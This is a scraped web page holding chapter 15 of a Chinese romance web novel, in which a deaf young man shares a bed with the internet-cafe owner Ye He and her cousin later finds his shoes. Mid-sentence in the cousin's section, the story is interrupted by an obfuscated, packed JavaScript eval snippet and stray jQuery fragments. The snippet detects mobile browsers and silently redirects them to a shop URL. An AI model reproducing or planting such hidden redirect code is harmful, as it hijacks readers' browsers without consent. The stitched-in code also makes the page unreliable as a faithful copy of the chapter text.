15. 第十五章
作品:《还不是看脸》 助听器不在,徐溪亭的耳边一点声音没有,残余了一点点听力的左耳,也听不到叶和的声音。
他有点惊慌的摸着自己的耳朵,助听器丢了,本来就听不见,现在这样,交流岂不是更成了问题!
“你在找这个吗?”
白色的,小巧的助听器变魔术一般出现在叶和白皙的掌心。
她什么时候找到的?
这个念头在徐溪亭的脑海中不断扩大,从遇见的第一面开始,她就像一个谜一样,神秘,洒脱…无所不能。
叶和俯身,徐溪亭后仰,两人之间的距离突然被拉的很近很近。
楼下的网吧包房里,还有一对来通宵的小情侣因为游戏操作难以配合在激烈的拌嘴,女生的声音尖锐的透过楼板传递到三楼。
“你不会说话能不能别说话!什么叫我打游戏给你拖后腿?!”
“拖后腿还不让说吗?!菜就多练行不行!我都被你坑死了!”
“自己不是大神还带女朋友出来包夜,菜狗!废物!”
男生大概是被骂得脸上挂不住,恼羞成怒,也提高了音量,声音里带着气急败坏,“不爱听有本事你找个哑巴!看哑巴带不带你赢!”
找个…哑巴?
叶和歪着头,将助听器对准了徐溪亭的左耳,她记得他一向带在这边。
徐溪亭快要窒息了。
他能感觉到她温热的呼吸,拂过他脸颊的皮肤,带来一阵细微的、令人战栗的痒意。
他完全不敢呼吸,心跳的越来越快,手脚的温度似乎因为药效开始回暖,他手心渗出细汗。
助听器被严丝合缝的带在了耳廓上,带着杂音的声音重新传入耳中,徐溪亭的眉眼又藏在了碎发中,他盯着叶和的脚尖,不敢对上她的眼睛。
//
“三楼只有一个双人床,但是很宽敞,2米乘2米2,睡两个人也不会太挤。”
叶和泰然自若的收回手站起来。
最左侧墙壁上的钟表还在尽职尽责的走着,时针指在2,分针指在20,两点二十,再磨蹭一会快三点了。
她转头看了眼窗户,外面夜色沉沉,但夏日天短,再过几个小时,就要完全亮天了。
还好三楼全部是遮光窗帘,拉严实了,也能勉强睡个好觉。
睡…睡一张床吗!
徐溪亭默默闹了个大红脸,他的手又往沙发下的边角处藏了藏,没有受伤的左脚也不安的挪动了一下。
他…他应该是理解错了吧。
助听器听不太清,徐溪亭顺便怪罪上了自己没看清叶和的口型。
她说的一定不是这样轻佻的话。
一定…是他看错了。
深呼吸。
吸气4秒,屏息7秒,呼气8秒。
禅师说,呼吸是连接身体和心灵的桥梁,但徐溪亭反复重复了几次,还是无法停止自己心头的焦虑。
褐色地板上的纹路,真皮沙发上的靠垫,厨房冰箱上的冰箱贴,这一瞬间,忽然所有的一切都变得无比的有趣起来。
//
“你要被子吗?”叶和走到靠墙的大立柜旁,翻出一条粉色碎花的夏凉被,上面还没有套被罩,是奶奶上回来看她的时候带来的,全新的,还没有人盖过。
徐溪亭看着这床粉色碎花被,面露难色。他到现在还是没有搞清楚,叶和到底要他睡在哪里,一眼望去,整个三楼都找不出第二张床,她说的包吃包住,莫不成真的是同床共枕?
这个念头让他坐立难安,如芒在背。
叶和夏天也习惯性盖个薄点的被子,她睡觉不老实,晚上经常把被子踹掉大部分,只留个被角盖在肚子上,省得着凉。
看他不说话,她便也默认了这一点。
他要被子。
“你应该没有裸睡的习惯吧。”她拎着一套陈朗留在这里的睡衣站在徐溪亭的面前,语不惊人死不休。
没有!!
手语打的上下翻飞,他同时拨浪鼓一般的狠狠摇头。
不要再问他更多的问题了,他怕他…忍不住现在就要逃走。
“你还要洗澡吗?”三楼的空间里太过安静,叶和总忍不住跟他说话,她是个受不了寂静的人,尤其受不了面对面的两个人相对无言。
【不用了!】
徐溪亭终于放弃了靠比划和眼神来和叶和交流,茶几的下层被他眼尖的看到几张纸笔,一行行的字,快速的出现在白纸上。
【我睡沙发就可以!】
【今天谢谢你】
【我明天就回福利院】
回福利院?
叶和眉毛微挑,她发善心可不是为了让他明天回福利院的。
“我这里真的缺个网管,而且我也不会做饭,每天都吃外卖,很不健康。”
她一本正经的胡说八道。
尽管厨房里齐全的厨具让这里的主人看起来并不像个五体不勤的人。
看着他一脸纠结的样子,叶和继续加大砝码。
“说起来我也帮了你不止一次,我是真的没招到网管,再没人的话,我就要自己每天通宵值班了。”
“就当帮帮我,先帮我顶一阵。”
“你若真的不愿意干,过半个月我绝不阻拦你。”
徐溪亭手里的笔又被他放下,端端正正的放在小茶几上。
他不是不知好歹的人。
“沙发太小了,你太高。”叶和伸手把他拉起来,手有些暧昧的搭在他的腰间,“如果你介意的话,我在床上堆个三八线。”
小时候男女同桌之间的楚河汉界,如今成年了,拿过来依旧好用。
宽慰小哑巴的说辞罢了。
叶和忽然莫名的觉得自己像个海王渣女,在拐骗良家妇男。
她有点脊背发凉的摸了摸后颈。
//
一只羊,两只羊,三只羊…
徐溪亭板板正正的躺在大床上,身上还穿着叶和刚刚给他翻出来的一身睡衣。
睡衣的料子柔软,非常贴身,只是裤子有些短,露出了一截脚踝,不过叶和倒是笑着说刚好,刚好给他的脚踝透透气。
和女生相处的经验太少,和女生同床共枕的经历更是没有,他身子僵硬的要命,双手交叠放在小腹上,直挺挺的躺在床上,一点动作都不敢有。
一只羊,两只羊,三只羊……数到五十只,脑子里还是清醒得能背出元素周期表。
数羊没有用的话…数水饺呢?
他又闭上了眼睛。
一只水饺,两只水饺,三只水饺…
饿了。
徐溪亭更睡不着了。他极其缓慢地偏了偏头,用眼角的余光,偷偷瞥向旁边。
身旁的叶和似乎早已睡熟,呼吸平稳悠长。她翻了个身,胳膊一下扔在了那条不存在的三八线上,距离他的手指只有短短的几厘米。
在昏暗的光线下,他甚至能看清她修剪得干干净净的、圆润的指甲盖。
徐溪亭呼吸一下变得很轻很轻,右脚脚踝的扭伤处,随着呼吸的一进一出也跟着灼热起来,不知道是药酒发挥了作用,还是她指尖的温度仍然留在上面。
今日不是十五,月亮不是满月。一弯被“咬”了一口的、清瘦的下弦月,高悬在漆黑的夜幕上,清冷的月光被厚重的遮光窗帘挡去了大半,只从缝隙里漏进来几缕微弱的光线,勉强勾勒出房间里家具模糊的轮廓。
徐溪亭的脑海里开始不受控制的反复重现关于叶和的所有画面。
白皙的、骨节分明的手指,轻松的握住机车车把,或者拿着手机飞快打字。
又亮又有神的眼睛,有时候带着玩味的笑意,有时候是毫不掩饰的关切,像盛满了细碎的星光。
笑起来时弯弯的、带着点狡黠弧度的嘴唇,和嘴角边那两个浅浅的、一闪而逝的梨涡。
还有…那隔着T恤也能感受到带着极强的力量感的、紧实柔韧的腰肢…
不要再想了!
他在心里命令自己。
钟表的指针又指到了三点二十。
徐溪亭再次强迫自己闭上了眼睛。
//
陈朗,一个苦逼的、即将大四的医学生。他们学校开学非常早,在几乎所有的大学里,都是数一数二的“勤奋”代表。暑假还没过完,就得提前回校准备各种实习、实验和补考。
他拎着豆浆爬楼梯的时候,心里还盘算着一定要再催催叶和找个替班的,他可没几天逍遥日子了,马上就要滚回学校,继
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481818|201788||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
续在解剖室、实验室和图书馆之间“三点一线”的悲惨生活。
还有!还得催着叶和赶紧给他打钱结账,认认真真给她干了一个月,没有功劳也有苦劳,一分钱都不能少。
早上九点,阳光正好。
三楼的窗帘还拉的严严实实的,陈朗叹口气,他姐就这点不好,作息极其乱套,昼夜颠倒,不像他,每天早睡早起,起床还先打一套八段锦。
可惜他在学武上没啥天赋,现在还是打不过叶和,毫无还手之力。
“姐!我给你把豆浆放厨房了!趁热喝啊!”他抻着脖子喊了一声,卧室的房门虚掩着,一点光也没有,黑漆漆的,啥也看不见。
陈朗不甚在意的收回目光,转身就准备下楼替换昨天值夜班的小姑娘。
刚走了两步,脚下似乎踢到了什么东西,软软的,还有点阻力。
“嗯?”陈朗停下脚步,疑惑地低头看去。
这怎么有双男人的鞋??
陈朗吓了一跳,又弯下腰确认了一下。
看着40码往上,也不是牌子货,绝对不是叶和的鞋。
鞋的边缘磨损的很厉害,大概已经穿了很久,都说看人先看鞋,鞋的主人的一定不太富裕。
陈朗心里有点打颤,他姐卧室…不会有男人吧!
狭窄的门缝变成了深渊巨口,他一边心里的好奇在无限喷涌,一边却又因为被怕被叶和殴打的恐惧望而却步。
最终,叶和作为姐姐的威压暂时压倒了熊熊燃烧的好奇心。
陈朗一步三回头,目光像黏在了卧室门上,脚下却诚实地、慢慢地挪向了楼梯口。下楼的时候,因为心神不宁,差点一脚踩空,从楼梯上滚下去,吓得他赶紧扶住栏杆,心有余悸地拍了拍胸口。
一楼的网吧大厅,值夜班的小姑娘已经哈欠连天,正在收拾自己的东西,准备跟陈朗交接班回家补觉。
陈朗做贼般凑的过去,小心翼翼的张口打听,“咳,那什么,你昨晚看到我姐回来的时候,身边有男人吗?”
小姑娘略带奇怪的看了他一眼,“不是老板男朋友吗?”
陈朗的目光由震惊逐渐转为敬佩,不愧是他姐,速战速决。
//
三楼,卧室。
九点三十整,徐溪亭在生物钟的支配下先一步醒来。
高烧似乎已经完全退去,但身体依旧沉重乏力,脑袋也昏昏沉沉。
助听器经过一晚上的翻滚早已经不知道掉到了床上的哪个角落,他下意识的想坐起来摸索,腰腹刚一用力,就被一条有力的胳膊牢牢箍住。
是…叶和。
徐溪亭深吸一口气,鼓起勇气向下看了一眼。
叶和的一条手臂,正大大咧咧地横在他的腰间。她的睡衣袖子因为睡姿,已经撸到了大臂顶端,露出一截线条流畅、肤色白皙的小臂。那条手臂仿佛有自己的意识,似乎感觉到了他想逃离的意图,非但没有松开,反而更收紧了些力道,带着点睡梦中的不耐,将他往自己身侧又拢了拢。
他被这突如其来的力道带的核心不稳,不受控的直接往旁边一倒,衣服的袖口好巧不巧的刚好挂到叶和上身的睡衣边缘。
睡衣的领口本就宽松,被这么轻轻一挂、一扯——
叶和那线条精致、皮肤白皙的锁骨,以及一小片圆润的肩头,毫无预兆地、大刺刺地暴露在了清晨昏暗的光线里,也落入了徐溪亭骤然收缩的瞳孔中。
不能…惊动她。
徐溪亭心脏跳的快要爆炸,他伸手,小心的挪开了手指,撑着枕头的边缘试图起身。
“嗯…别动…”叶和睡梦中察觉到什么,嘟囔了一句,手臂一下收紧,猛地发力,直接将徐溪亭整个人拽到了自己身子正上方。
“唔!”
突如其来的重量将她从睡梦中砸醒,叶和下意识的睁开了眼睛。
清晨卧室里昏暗的光线,勉强勾勒出身上压着的那个人的轮廓。
四目相对。
叶和还带着茫然的眼睛刚好对上了徐溪亭因为无措而睁得溜圆、眼尾泛红、几乎要冒出烟来的凤眼。
他整个人僵在她身上,连呼吸都忘了,大脑彻底宕机,只剩下一个念头在疯狂刷屏:
完了……

